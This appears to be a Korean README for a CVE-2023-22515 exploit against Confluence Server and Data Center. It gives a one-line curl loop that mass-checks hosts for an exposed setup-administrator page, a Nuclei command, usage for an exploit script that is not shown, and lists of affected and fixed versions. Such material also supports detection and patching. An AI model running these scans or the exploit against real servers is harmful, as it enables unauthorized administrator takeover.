CVE-2023-22515

CVE-2023-22515는 온프레미스 Confluence Server 및 Confluence Data Center에 영향을 미치는 치명적인 취약점으로, Broken Access Control 취약점입니다. Atlassian은 CVSS 기본 점수 10.0을 부여했습니다.

한 줄 poc

cat file.txt| while read host do;do curl -skL "http://$host/setup/setupadministrator.action" | grep -i "<title>Setup System Administrator" && echo $host "is VULN";done

Nuclei

nuclei -u target -t CVE-2023-22515.yaml

사전 요구사항

sudo pip install -r requirements.txt

사용법

sudo python3 exploit.py --url [target]

영향을 받는 버전

8.0.0
8.0.1
8.0.2
8.0.3
8.0.4
8.1.0
8.1.1
8.1.3
8.1.4
8.2.0
8.2.1
8.2.2
8.2.3
8.3.0
8.3.1
8.3.2
8.4.0
8.4.1
8.4.2
8.5.0
8.5.1

수정된 버전

8.3.3 이상
8.4.3 이상
8.5.2 (장기 지원 릴리스) 이상

참고 자료

• atlassian
• nist